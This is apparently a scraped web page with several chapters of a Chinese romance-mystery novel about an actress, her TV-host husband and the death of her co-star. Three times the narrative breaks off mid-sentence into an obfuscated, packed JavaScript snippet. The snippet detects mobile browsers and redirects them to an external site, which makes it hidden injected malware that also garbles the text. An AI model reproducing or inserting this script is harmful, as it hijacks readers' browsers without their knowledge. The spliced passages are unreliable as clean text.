两人由于年龄相近,又同样演技出众,自出道之日起就被媒体们相提并论,观众和粉丝们也时不时将她们的成绩拿出来对比一番。 江知渺的第一个金视奖最佳女主角,便是击败何之晏拿到的。 也正是因为这些不可避免的竞争,导致她们表面上礼貌客气,实际却暗流涌动。何之晏会落井下石,江知渺毫不意外。 不过,瞧她面对着簇拥的助理们,分外嚣张地大放厥词,甚至装作看不见她,江知渺还是走到她面前。 “刚才那句话,是你说的?”江知渺面无表情,死死地盯住她的双眼,一字一句地质问道。 “什么?”何之晏没想到当着这么多人,对方还敢来对峙,一时间有些摸不透她的想法。 剑拔弩张的气氛很快引起了周边众人的关注,吵闹的后台也立刻安静了下来,几乎所有人都转过头,观望着她们。 “你应该庆幸我不是凶手。”江知渺冷笑道。 “否则刚刚那句话,就是你的遗言。” 说完,江知渺利落地越过她,走到目瞪口呆的工作人员面前,人畜无害地笑道:“我们继续走吧,马上就到我了,不是吗?” 一道红色丝绒帘子将她与外界隔开,帘外是持续不停的快门声,红毯主持人游刃有余地进行简单的采访,不时抛出一两句俏皮话,将嘉宾和媒体记者们逗笑。 这是江知渺再熟悉不过的场景。 她知道,刚才的小插曲只是前菜,今晚,她一定会被各种媒体连番轰炸。不过既然选择要来,她就有信心能够应对。 随着女主持人用甜蜜的声线说出“下面有请我们的国民女神——江知渺!”,她踩着水晶高跟鞋,稳稳地踏上红毯。 丝绒布帘掀开的瞬间,闪光灯的强光扑面而来,犹如一道道锋利剑光,直直地挥向她的头颅。饶是她早已习惯面对镜头,却仍然被刺痛了双眼。 不行,江知渺心知肚明,她绝对不能闭眼,连眨一下都不可以。 她闭上双眼的瞬间会被各种高精度的摄影设备巧妙抓拍,然后配上“金视奖影后被控谋杀,面对媒体采访心虚回避”之类的标题,传遍大街小巷。 然而下一秒,在“咔嚓咔嚓”的快门声中,一个娱记突如其来的高声发问,却还是让她陷入了一丝恍惚。 “江知渺,请你正面回应一下!” 半个月前,F市,服装品牌LUXE主办的慈善晚会。 “江知渺,请你正面回应一下!” 她循着声音,看到了《今日娱讯》的娱记,郑敏。作为在娱乐圈摸爬滚打十余年的资深记者,也只有郑敏有胆量违反主办方的规定,私自向红毯上的嘉宾发问。 “有媒体拍到你与柏霆宇私交甚密,你们在剧组拍摄期间多次亲密互动,请问你们是不是因戏生情?” 他的声音十分洪亮,语速极快,问题直截了当,没有留下一丝情面。 在场所有记者闻声“唰”地将头转向他,待到问完,又整齐地转过来盯着她,摄影师纷纷举起相机,等待她下一刻的反应。 江知渺挥了挥手,阻止了前来维持秩序的安保人员,反而稳步上前,走到郑敏的面前,平静地说道:“关于此事,我认为无需做出回应,我和柏霆宇只是前后辈……” “还有另一个当事人呢,怎么不来问我?” 江知渺的话突然被截断,她的身边划过一阵微风,一个炽热的身体从左侧紧紧地靠住她,强壮的手臂毫不犹豫地揽上她的腰间,又向着自己的方向用力收了收,使两人靠得更加紧密。 她讶异地抬起头,与一双带着笑意的眼睛不期而遇。 柏霆宇? 江知渺心中一跳:他怎么提前出场了? “关于我和知渺姐的绯闻……”在接收到她疑惑的目光后,柏霆宇更是肆意地挑了挑眉,深深地盯着她,“我想,应该不用解释吧?难道你们都忘了……” 柏霆宇抬起头,在面前的媒体记者中环视一周,故作神秘地顿了顿,这才露出标志性的开朗笑容。 “知渺姐的老公,不是就在旁边吗?” 所有人跟随着他的视线,缓缓向后移动。而在他们二人身后不远处,黑色的签名板前,静静地伫立着一个挺拔的身影。 那是慈善晚会的特邀主持人,邵聿。 “请两位在这里签名留念。”邵聿礼貌地伸出手,示意他们走到红毯中央。 签名时,柏霆宇终于将手从她的腰间松开,江知渺终于松了一口气,却没想到随着先后转过身来,面对摄影机,他再一次搂住了她。 江知渺不着痕迹地向反方向轻轻推拒,勉强维持脸上的微笑,凝视着柏霆宇,可他却丝毫没有松手的意思。 她的心跳因为紧张而愈发急促,不属于自己的燥热温度盘桓在腰身,穿透了薄薄的丝质礼服。 刚刚,就在所有人的注意力都因柏霆宇一句话而转向邵聿后,江知渺从在场的人群中,听到了恍然大悟的叹息。 连她自己都觉得荒谬:七年前,他们在网上公开婚讯,所有人都知道他们是夫妻;可这么多年过去,所有人竟然都忘了,他们原来是夫妻。 柏霆宇只是指出这个事实,都让一切显得格外讽刺。在众人眼中完全是陌生人的一对夫妻,此刻站在媒体前,妻子正在回应出轨绯闻。 不出所料,柏霆宇面对着她,仍然是一脸无辜,饱满的脸颊上勾起得意的笑容,似乎在用眼神问:“怎么了?” “两位首次合作的古装剧《凤皇止阿房》正在热映,看得出二位也是很有默契,不如来谈一谈,两位在合作过程中的一些感受?” 邵聿的声音让江知渺结结实实地吓了一跳,她一心与柏霆宇对峙,猝不及防听到熟悉的声音,有些慌乱地回过头。 柏霆宇抓住了她那一丝惊吓,抿着嘴唇笑了起来。他站在江知渺与邵聿之间,顺理成章地接过邵聿递来的话筒,“感受吗……” 他专注地看着主持人,又一个一个环顾翘首以盼的媒体记者,停顿了许久后,才轻笑道:“很舒服。” 语焉不详的回应,让在场所有人都愣住了,听到这句话江知渺立即屏住了呼吸,用警告的眼神瞪着他,心底忐忑不安。 你到底要说什么?她努力用目光传递着疑惑和怒气。 “哦?这个回答的确很新奇。”邵聿仍然用职业的语气问道:“不知道能否具体为我们讲讲?” 江知渺狠狠地剜了柏霆宇一眼,示意他好好说。收到最后通牒,柏霆宇忍不住笑了。 他终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584993|171696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把眼神从江知渺脸上移开,狡黠地盯着邵聿,“这话由我来说很奇怪吧,邵主持应该也深有体会。” “扑通。”江知渺听见自己的心重重坠落,触及谷底,全身的血液几乎顷刻间就被凝固,手心冒出一层冷汗。 她倒吸了一口凉气,慢慢地转头,看向邵聿。 可惜柏霆宇锻炼得当的身体将她的视线完全挡住,她被钉在原地,几乎不敢动弹,也无法探身去看。 在短暂的沉默中之后,她听到邵聿发出温柔的笑声:“的确。” 又是一阵温水煮青蛙般的停顿。 江知渺感觉自己仿佛被悬挂在一锅沸腾的热水之上,蒸腾的热气炙烤,随时都有危险会摔进滚烫的水中。 “知渺待人大方热情,工作中也没有架子,和她相处起来会非常轻松愉快,也绝对不会有负担。” 那场慈善晚会至今才过去不足一个月,江知渺却已记不清自己当时说了什么,大脑只剩下一片空白。 至于邵聿,整段采访中,她都被柏霆宇有意无意地挡住,没能看到邵聿的神情,从他自始至终平静沉稳的声线中,没有听出丝毫破绽。 直到走下红毯,进入会场,开得不要钱似的冷气将她一身的冷汗打透,她才后知后觉地打了个寒战,发觉柏霆宇揽在她腰上的手,从未放下过。 他不该和自己同时出场的。这是一场慈善晚会,并非宣传新剧的活动,根据主办方的安排,每位艺人都是单独登场。 甚至红毯开始前,柏霆宇还大剌剌地闯进她的更衣室。 他赶走了她的助理,迎面将她抱住,撒娇似的在她的耳畔抱怨道:“为什么我们不能在一起呢?” 熟悉的年轻气息充斥在她的脖颈、耳根,灼烧着她的思绪,江知渺猛地将他推开,不可置信地看着他—— 果然,又被他耍了。 柏霆宇正嬉笑着赏玩她的慌张,双手高高抬起,向后退了一步,“姐姐,我是说,我们为什么不能一起走红毯呢?” 收获她尚未平复的诧异,柏霆宇依旧摆出状似无辜的笑容,佯装惊讶道:“姐姐想的是什么?难道以为……” “柏霆宇!”江知渺恨不得上前捂住他的嘴,刚抬起手又放弃了,只能狠狠地白他一眼。 “你老公今天也在,我是不会做什么出格的事情的。”柏霆宇又严肃起来,收敛了吊儿郎当的神色,把手插进兜里。 话音未落,他突然靠近,额前垂落的一缕头发划过江知渺光洁的额头,带着淡淡烟草味的鼻息打在耳垂上,引来她的银制耳坠剧烈晃动。 江知渺来不及躲闪,耳垂不小心蹭过他的脸颊,紧紧地屏住了呼吸。 他凑上来,只为了说一句话:“你放心,我刚刚已经去主持人休息室,跟他打过招呼了。” 江知渺还是忍不住抬起手掌,直直地挥向他嬉笑的脸庞。 ……原来,他真的死了啊。 江知渺在层层叠叠的媒体中环顾了一圈又一圈,看到不少熟悉的面孔,大多数还是慈善晚会上那些记者。 就连发出质问的人,也还是郑敏。 她在心底默数了十个数,可这次却毫无其他人的动静,只有她独自面对着无数探寻好奇的目光。 寂静中,江知渺的头脑变得十分清晰,甚至还有空想到梁栖月之后又要帮她写声明。然而,她还是大步上前,一把夺过郑敏手中的话筒。 5. 风波 “你们真的想知道凶手是谁吗?”江知渺用犀利的目光快速在所有人的脸上扫了一圈,“还是,又想用女艺人的私生活,编造头条?” 她的质问让在场的快门声瞬间安静下来,只剩下微弱的电流声,如枯燥蝉鸣般萦绕着。 江知渺把“又”字咬得很重,话音刚落,所有人的脸色都有些不自在,高举的话筒也纷纷放下。 大家心知肚明,江知渺是在暗指三年前,小花关旖旎坠楼身亡事件,她的家人痛诉娱乐媒体编造并传播绯闻,加重了她的抑郁症,最终迫使她走上自杀绝路。 江知渺冷笑着,“你们不是一个个都号称有24小时跟踪的狗仔吗?为什么没有一个人拍到真凶?” 听到这话,几个平日里声望比较高的头部娱记纷纷低下了头,眼神飘忽不定。 “有时间在这里捕风捉影,不如去给警方提供有用的线索,查出究竟是谁杀了他。” 说完,江知渺将话筒塞到郑敏手中,她高傲地抬起下颌,垂眼问道:“我相信您没有其他问题了,对吧?” 不等郑敏从震惊中反应过来,江知渺踩着十几厘米高的高跟鞋,大步流星地走到签名板前,在正中央签下自己的名字。 她向一旁愣住的主持人微微欠身,而后径直走向了红毯的终点,离开媒体记者的视线。 一路仍有人在窃窃私语,可江知渺却毫不在意,目不斜视。她知道,这场与无形鬼怪的战斗,第一回合,胜出的是她。 红毯结束后,活动很快开始了。《ELAN》杂志的首席主编Fawn女士按照惯例,选择部分艺人,对他们以及穿着的高定进行介绍。 这不仅仅是一个展现时尚风向标的机会,更代表着时尚界对艺人时尚完成度的肯定,在场所有艺人,无一不希望自己的名字能够响起。 江知渺已经连续三年在这一环节第一个得到提名,出乎意料的是,Fawn一连点评了十几位艺人的着装,却始终连看都没有看向她。 很快大家也都意识到这其中有什么问题,纷纷转过头来看她的表情。随着Fawn说出“最后一位,何之晏”,许多人甚至发出了一声讶异的轻叹。 对于这个结果,江知渺并不算惊讶。尽管工作室早就与多次合作的VELVET借好今年最新款的礼服。然而,昨晚事发后,VELVET便立即撤回了合作意向。 “这也是人之常情,现在正是风口浪尖上,等柏霆宇的案子有了进展,自然就没事了。”面对梁栖月的抱怨,江知渺并没有跟着生气,反而是安抚她。 “而且,你不是又借到AURA的高定了嘛。” AURA是本国创立的专业时尚品牌,经几十年发展,已成为国际时装标杆,并且以其高冷著称。 每年,他们旗下设计制作的高定不超百套,却件件精品,极难借出。江知渺入行八年,也只是在第一次获得金视奖提名时,有幸穿过。 在这个风口浪尖上借给她,并非是表示支持,而是因为,这是一件没有得到官方认可的“废裙”。 AURA只在每年十二月举办大秀,所有高级定制都会在大秀上展出,也唯有通过这场大秀,人们才能知道哪些是AURA的礼服。 而江知渺身上这件,却是一件没有登上过大秀的裙子。假如AURA不想认领,那么,就没有人会相信她穿的是AURA。 若在以往,她绝对不会任由他人这样拿捏自己。可今时不同往日,哪怕是有其他选择,梁栖月也不会把这件衣服拿给她。 黑色的,毫无装饰的,朴素的A字裙,犹如夜间一道神秘的瀑布,在明亮的灯光下显得十分黯淡。 “她穿的是谁家的裙子啊?” “不知道啊,从来没见过。难道是什么独立设计师的?” “该不会是借不到高定吧?也是,现在谁家会把裙子借给她啊……” 关于她的低声讨论从她步入会场便没再停过,直到官方的活动结束,酒会已经开始,仍然有人向她投来好奇的目光。 江知渺自顾自地端起一杯红酒,走上露台,靠在古老的雕花石柱上,小口品味。 这样的场景江知渺倒是很自在,毕竟她在圈子里也没有什么朋友,以往都是旁人主动来找她搭话,她早就习惯了保持礼貌客套的距离。 江知渺含住杯中最后一口红酒,醇厚的酒香在舌尖发酵,低浓度酒精带来恰到好处的晕眩,让她紧绷的神经放松下来。 不过是些闲言碎语罢了,耍大牌、难伺候、改剧本、刁难人,诸如此类的议论,这些年来一刻也没有停歇。 只要不耽误她正常拍戏就好。 原本与柏霆宇马上开拍的下一部戏,因男主角意外身亡,已经宣布无限期停拍。接下来她的其他工作,也都被合作方中止,这就意味着她马上就要被迫休假。 江知渺正有些为着工作的事忧虑,一个熟悉的身影突然出现在眼前,让她的眼睛一亮,她惊喜地喊道:“修导!” 提到当今娱乐圈中的伯乐与千里马,绝大多数人都会第一时间想到修茂德导演和江知渺。 五年前,在娱乐圈中查无此人的江知渺,因出演知名导演修茂德指导的仙侠剧女二号,一夜走红。表面乖巧实则为爱心狠手辣的小师妹形象,至今仍然被许多人津津乐道。 此后,她先后出演了多部电视剧,凭借着极具天赋的演技,获得了广泛的观众缘,也站稳了影视剧第一青衣的位置。 从清纯小白花,到性感熟女,从豪门大小姐,到职场女性,只要是她主演的剧集,都能收获极高的收视率。 可以说,没有修茂德,就不会有如今的江知渺。她也始终非常感激修导的拔擢,在采访中多次提到修导是她的“恩人”。 “修导,没想到您也在!”江知渺放下酒杯,乖巧地站直了身子。 修导今年五十七岁,尽管由于拍摄压力早早就生出满头白发,可精神却十分矍铄。 他点了点头,和善地笑道:“可算找到你了,我就是为了你才来的。之前还担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584994|171696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不参加,想让助理直接联系你经纪人。” 江知渺心头一跳,要联系经纪人,肯定是工作上的事。她与修导近两年并无合作,难道是有什么新的机会? 修导摇着头,无可奈何地笑了笑,“你啊,还是这么戏痴,提到拍戏,两眼都放光!” “修导,您就别卖关子了。”她藏不住眼中的期待,等着修导后面的话。 “好好好,不开玩笑了。”说着,修茂德放下手中的酒杯,正式地说道:“其实,我是想拜托你帮我一个忙。” “我手里现在有一个戏,演员都定好了,结果女主演临时接了个电影,毁约不拍了。” “这部戏的女主角要经历好几个情感阶段,对演技的要求很高。”修茂德拍了拍她的肩膀,“要在下周开机前找到接替的女演员,我第一个就想到了你。” “修导,我……” “你别担心。”修茂德打断了江知渺的踌躇,“我知道,你最近遇上点儿棘手的事情,既然我来邀请你,就是百分百相信你。如果你愿意参演,制作人那边我去搞定。只是下周就要开机,时间比较紧张……” 江知渺感激地望着修导,毫不犹豫地重重点头,“修导,这个戏我愿意接。只要是拍戏,什么困难我都可以克服!” “好!那我让助理把剧本发给你经纪人,咱们下周见。” 江知渺将他送到出口,目送着他离开,也想立刻离开会场,跟梁栖月分享这个喜讯,让她联系修导的助理。只有沉甸甸的剧本握在手里,她才觉得安心。 可当她准备提前从出口离开时,却遭到了工作人员的阻拦。 以往《ELAN》主办的活动都非常自由,正式的环节结束后,晚宴或酒会都可以随时离场。 今天工作人员的要求一反常态,非常严格,这让江知渺十分不解。她本想再向他们问一问缘由,会场内的灯却突然暗了下来。 紧接着,古老的阁楼上方响起钟声,一下、两下、三下…… 厚重的铜钟发出震人心魂的撞击声,每一次声响都带着经久不衰的回音。 十一、十二…… 十二声钟响已毕,伴随着悠远的尾音,会场内的灯光缓缓变得柔和起来,掺杂着暖黄的奇妙光彩,如丝绸般环绕在每个艺人周身。 不知是谁第一个发现,一个人、两个人……很快,所有人的目光都投向了江知渺。 她随着众人惊讶的目光低下头,发现自己的裙子在这灯光下,竟然如同繁星漫天的夜空,星光点点。 她上手去触摸,在光滑平整的缎面上,那些钻石般耀眼闪烁的星光,仿佛是这一根根黑色丝线自带的光芒。 正当所有人都在惊叹这样普通的一件礼服如何发出如此夺目的光彩时,会场正中央的话筒发出了轻微的响声,人们循着声音,看到Fawn再次出现。 “非常感谢大家今天前来参加《ELAN》举办的「晚星如曜」主题酒会,我谨代表《ELAN》杂志,向各位宣布一个消息。” 6. 依偎 “从今年起,《ELAN》杂志将与AURA合作,每年共同举办两场大秀,发布AURA最新款高级定制礼服。” Fawn轻描淡写的一句话让现场瞬间沸腾起来。AURA从来都是高岭之花一般的存在,可遇而不可求,如今与《ELAN》杂志达成合作,意味着他们就有更多机会接触到AURA的资源。 等台下的讨论声逐渐平息,Fawn继续说道:“为贴合今晚活动的主题,也是为后续的大秀做好预热,我们特意邀请江知渺女士,展示AURA本年度品牌设计大赛冠军作品——灰姑娘。” 一束追光随着她的手势打向江知渺的身边,看似平庸的黑色裙摆上,每一根丝线中都嵌着钻石的微小碎片,浑然天成,只有在恰到好处的灯光下才能看清。 “十二点的钟声响起,辛德瑞拉慌忙逃离了舞会,却在匆忙中遗落了一只水晶鞋。” Fawn独特的沙哑嗓音如同格林童话的讲述者,她娓娓道来的语句像是漂浮在空中的浪漫气泡,勾勒出一场奇幻梦境。 “王子捡到了水晶鞋,他发誓,一定、一定要找到它的主人。” 江知渺被所有人的目光钉在原地,这个童话故事并没有给她带来美好的幸福感。 随着Fawn生动的讲述,她却联想出了最不愿回忆的场景,忍不住想要逃走;可头顶的追光死死地跟着她的一举一动,让她无法动弹。 她仿佛回到了从中央艺术学院毕业那年,乘着漆黑浓重的夜色,疯狂地逃出金碧辉煌的高级会所。 身后是厉声呼喊的黑衣人,她只顾着往前跑,连鞋子跑丢了一只都顾不得。 一路狂奔,跑出会所,跑进夏夜,跑向未知的远方,湿热凝固的空气也被她生生割出一道缝隙来。 她拼了命地跑啊,跑啊,渐渐地,追逐声消失了。当她惴惴不安地回过头去查看情况,却迎面撞上了一个熟悉的身影。 “邵聿?”她惊魂未定,退了半步。 “是我,没事了,你是安全的。”久违的安全感勾起她后知后觉的恐惧,终于捂住脸哭了起来。 “知渺,我们结婚吧。”在无边无际的绝望中,江知渺听到了邵聿坚定的声音。 二十三年来,她第一次感受到自己漂浮的灵魂降落下来,落在一片童话般的、光洁无尘的净土之上。 “江知渺,你真是我的祖宗!一晚上就给我整出这么多新闻头条!”江知渺打开手机扩音器,放在料理台边,熟练地翻动锅里的煎蛋。 《ELAN》活动的第二天,一大早,梁栖月就如她所料,怒气冲冲地打来电话,细数她昨晚在活动现场制造的话题。 “当面质问媒体,责问记者失职,暗示、哦不,是明示他们吃人血馒头……” “还有——”梁栖月抬高了声音,江知渺轻点音量键,将她的分贝调低,“你还对何之晏出言不逊,发出人身威胁?江知渺,是不是我太惯着你了,你现在能耐真是越来越大了!” 江知渺也看到了自己制造的这些爆炸性新闻头条,任意一条都能点燃社交媒体的标题,经过在警察局讯问的一夜,已经不能让她提起任何兴趣了。 她所关心的,另有其人。 “栖月,我让你帮我查的事情,有发现什么吗?” 梁栖月立即放缓了语气,“我这边没有发现什么不对劲的。你告诉妙妙了吗?他们做狗仔的应该知道的比较多。” “嗯,我跟她讲了,她说会帮我好好查查的。” 从昨晚活动结束,江知渺便一直在意这件事:自己与AURA并无任何合作,如今她又在接受警方调查,为什么要让她做大秀的第一位模特呢? 甚至那件高定的主题概念,都令她不由得多想——灰姑娘。 丑小鸭摇身一变,成为高雅的白天鹅;小小的鲤鱼轻轻一跃,成为金色的锦鲤——这些都不是灰姑娘的故事。 如果让她来讲,那么辛德瑞拉的故事是,在穷困潦倒中,因为偶然的机遇,穿上了华丽的衣裙。 然而零点的钟声响起,一切都不复存在,她还是那个贫穷、平庸、落魄的灰姑娘。 AURA这次抛出的橄榄枝,有着太多的谜团,她不敢随意去接。 半小时后,梁栖月终于挂断了电话。江知渺本想享受一下难得的休闲时光,社区管家突然打来电话,说有4s店的访客找邵聿,说是他预约了上门检查车辆。 邵聿一早便出门了,她平日里也不会过问他的事情,于是直接让管家放行,请他们来到车库检查。 维修师傅第一眼就认出她来,在包里翻了半天,找出一张维修单来让她签个名。 见江知渺愿意签名,其他三个维修师傅也纷纷掏出纸张,请她签名。江知渺没有拒绝,一张一张签了过去,耐心地签完六张,这才问及车辆的故障。 “上周不是下了大暴雨嘛,雨水很容易导致电路出问题,最近很多车主都在找我们检修。这辆车左前侧的车灯不亮了,需要拖走,返厂维修。不过您放心,也不是什么大问题,过两周就能去提车了。” 江知渺无所事事地站在一旁,看着他们忙碌,做拖车的各种准备工作,突然有些烦躁。 之前拍《凤皇止阿房》,三个月也没有休息一日。后来很快又进入宣传期,加起来,已经连轴转了小半年。好不容易有几天休息的时间,却在这不见天日的地下车库耗费了半天。 她叹了口气,请维修师傅随意处置,后续的事情直接联系邵聿,转身就乘坐电梯回到了家中。 在忙碌时,积年累月的疲惫还可以用工作的热情来抵抗,如今突然有了计划外的闲暇时间,身体和精神上的劳累便再也难以抗衡。 “姐姐,等等我。” 迷迷糊糊地,她似乎进入了浅眠。眼前突然出现一个模糊的瘦高身影,熟悉的声线让她忍不住靠近。走近才发现,柏霆宇穿着《凤皇止阿房》中的戏服,笑得十分纨绔。 他们在剧中饰演一对姐弟,古装剧的台词总是缠绵悱恻,柏霆宇还偏偏剧里剧外都“姐姐”、“姐姐”喊个不停。 她听得腻歪,几次三番警告他拍戏之外不要叫姐姐,可惜直到杀青也没能让他改口。 梦里,他们似乎是在拍摄杀青前的最后一场戏:柏霆宇带兵攻入城中,直奔皇城,一路斩杀,血流成河,将被圈禁在后宫的她救了出来。 他们骑在马背上,江知渺从背后紧紧地搂住他的腰,箭雨自城楼上密密麻麻地射向他们,犹如无数张血盆大口,想要吞没河面上的一叶孤舟。 她靠着柏霆宇宽厚的肩膀,听他挥剑斩断所有飞来的木箭,金属刀刃利落地筑起一座屏障。 然而,他们有着太多太多的敌人,太多太多虎视眈眈的目光,最终,还是有一支箭逃过了他挥舞不辍的利剑,深深地扎进了她的身体。 尽管五脏六腑都在剧烈疼痛,她还是感受得到他突然变得僵硬的躯体,听得到他愤懑的怒吼,看得到他布满血丝的悲戚目光。 他们一路策马扬鞭,拼命穿越层层围堵,停在皇城外的山林中。她记得,那里有一条清澈见底的小溪,儿时他们最喜欢在这里戏水。 可如今,泪水糊满了弟弟年轻的面庞,她好想抬手帮她擦拭泪水,好想劝他不要难过,好想叮嘱他保重身体,然而一切都太困难了。 “姐姐,我只有你了,不要离开我,姐姐……”她在他泣不成声的呼唤里,缓缓闭上双眼。 下一秒,她被人半推半就着倒在柔软的大床上,毛茸茸的头颅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584995|171696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她的颈侧磨蹭,炽热的唇瓣滑过她的耳畔,向下,再向下,吻上锁骨。 “柏霆宇,你知道自己在干什么吗?”她不可置信地推搡着,却被他一只手握住两个手腕,按在头顶。 柏霆宇一言不发,近乎执著地用嘴唇丈量着她肩颈的肌肤,带着酒气的呼吸喷在她的耳边,勾起丝丝缕缕的痒意。 “柏霆宇!”她用上了双腿,想要将压在自己身上的人踢开,可又被他迅速识破,压住她的膝弯,令她全身都动弹不得。 她只好不停地去说话:“柏霆宇,你个混蛋!快醒醒!再不醒酒的话,我要喊人了!” 她的威胁立刻收到了效果,他停下拱来拱去的脑袋,半撑起上身,用迷茫的眼神盯着她。 正当她以为柏霆宇已经醒酒时,他猛地俯下身来,脸凑得极近,江知渺在呼吸时,鼻尖甚至能够碰到他的。 “姐姐……” 他低声呢喃,专注的眼眸中映射出江知渺不断放大的瞳孔。 “姐姐,不要离开我,我只有你了……” 突然,手机铃声忽然响了起来,打破了僵持的暧昧氛围。江知渺猛地睁开双眼:天光正亮,熟悉的装潢,温馨的家装——这里不是剧组统一安排的酒店,而是她的家。 “手机……”铃声响了许久,江知渺急着摸索茶案上的手机,慌忙间碰倒了咖啡杯,褐色液体开始肆意流淌。 她瞟了一眼来电人,顾不上擦拭桌面,匆匆地平复好呼吸,按下接通键。 “爸。” 电话那头的老人声音低沉沧桑,自带威严,隔着听筒也能感受到强大的气场,“小江,你今天应该有空吧,晚上和邵聿回家吃饭。” “好的,爸。”她顿了顿,补上一句,“抱歉,爸,邵聿和我说过好几次要回家看望您,之前因为我的工作比较忙……” “没事,我知道了,想吃什么直接和刘姨说。”说完,那边就挂断了电话。 江知渺松了一口气,缓缓放下手机,这才察觉到自己出了一身的冷汗,而原因……她回想起方才的梦境,用力地摇了摇头,想要把这段记忆从脑海中摇晃出去。 她心虚地看向邵聿的房门,这个时间他还在电视台上班。她莫名感到脸热,仿佛做错了什么事情,心底一阵阵发慌。 “果然,人一闲下来就容易胡思乱想。”她缓了缓神,起身去冲澡。 洗去午休后的疲惫,已是下午三点。江知渺本想简单对付几口,可来到厨房,看到橱柜上摆放着光洁整齐的鸡蛋,她又被迫回想起邵聿留下的那枚热气腾腾的鸡蛋。 昨晚,幸好提前进行了热敷,这才没有在长枪短炮的镜头前露馅。 说起来,自从案发之后,邵聿对她也算得上仁至义尽了,江知渺原本就对他没有什么期望,能做到这些,已经远远超出她的想象。 家里究竟是什么时候买的煮蛋器,又是什么时候接通了电源,自己一概不知。 对比起她刚才那个纠缠的梦境,江知渺顿时有些惭愧。她思考片刻,还是放弃午餐,开车出门了。 江知渺选择先去到A市市郊的葡萄酒庄园,那里储存着全市品质最好的红酒,邵聿的父亲也偏爱这个酒庄的酒。她与酒庄的老板相熟,旁人需要提前一周预约,但她可以随时去酒库里挑选。 买完两瓶红酒,回到车上时,夕阳已经悄然将她和整片葡萄园笼罩起来,车内染上了鲜艳的赤红,冷冰冰的金属构件反射着闪烁余辉,她的心也跟着这温馨的氛围放松了下来。 发动机轰隆响起后,江知渺将手指悬在触控屏上许久,最终还是没有播出电话,而是调整了导航目的地。 在踩下油门的同时,车内发出机械的女声:“开始导航,目的地:国立电视台。” 7. 狭路 邵聿将本期《钩沉》的节目流程拟好,稿子写完,抬头看了一眼电脑屏幕上的时间:17点42分。 他打开一个空白文档,本想整理一下关于《钩沉》第三季收官节目的思路,心却怎么也静不下来,被周围七嘴八舌的聊天内容吸引。 距离下班的时间不远,许多同事都开始做收尾工作,他们站在工位上,聊着五花八门的话题:家里谁去接孩子、晚饭做什么菜肴、孩子的学习成绩…… 充满烟火气的氛围让他的心底升起一股莫名的烦躁,面对着屏幕,怎么也敲不下一个字。 家,他第一次有这么强烈的想家的感觉,第一次这样迫切地想要回到家中。 昨天他听到了梁栖月和江知渺的对话,她手头的工作都被迫中止了,那么此时此刻,她应该是在家的。 想到这里,邵聿听到大脑中“叮”地发出一声清脆的铃铛声。在还没有想清楚自己接下来要做什么前,手已经飞速地操纵鼠标,将所有电脑程序关闭。 关机页面还在转动,邵聿一把拉开转椅,滚轮与地板摩擦发出沉闷的响声。 “聿哥,你要去食堂吗?我和你一起。”邵聿带的实习主持刘恪辰跟着他站了起来,一边收拾东西,一边自然地说道:“明天节目的稿子我核对完了,吃完饭麻烦聿哥你再确认一下。” “不是去食堂。”邵聿的回答让刘恪辰愣住了。 然而他接下来的话更是让这个年轻人瞪大了双眼:“我先下班了。” 不止是刘恪辰,这句话也引来许多人的目光。众人纷纷停下各自讨论的话题,诧异地看着他。 “聿哥,你……你说什么?”刘恪辰不可置信地问道。 邵聿把工牌摘下,放进手提包中,奇怪地瞥了他一眼,“马上到下班时间了,有什么事吗?” “哇——聿哥,你竟然知道台里几点下班啊!你每天九点以后才下班,我还一直纠结要不要告诉你呢!”刘恪辰扯着嗓门,懒散地靠在工位隔板上。 邵聿抬起头,准备离开工位,正好对上一群同事惊掉下巴的模样。 他迈开脚步,左手重重地在刘恪辰的肩上按了按,语重心长地说道:“今晚十二点前,发给我一份收官节目的策划案。” 说完,不顾刘恪辰悲惨的鬼哭狼嚎,与同事们惊奇的目光,邵聿离开了工作区,步入电梯。 八月,北半球中纬度地区的白昼开始缩短,此时,最灿烂的落日光辉正透过电视台巨大的玻璃幕墙,为每一个角落笼上柔和的光芒。 他已经许久没有在这个时间下班了,随着电梯缓缓来到一层大厅,落日与骤然开朗的视线不期而遇,令人心胸舒畅,连带着他的脚步也随之轻快起来。 邵聿随着熙熙攘攘的人群,往玻璃之外的世界走去。直面强烈的日光,给盯了一天电脑屏幕的双眼增加了负担,那些四面八方涌进来的光让他只得低着头疾走。 “邵聿!” 如果要他选出三十一年来听过的最动听的话语,他不会选择爱人缱绻的低语,更不会选择热情的表白,而就是当下,此时此刻,浓烈的落日余晖中,缓缓氤氲的一声呼唤。 他应声坠入一片汪洋大海,血肉溶于海水,渺小的身躯被浪潮狠狠拍打,甩上浪尖。 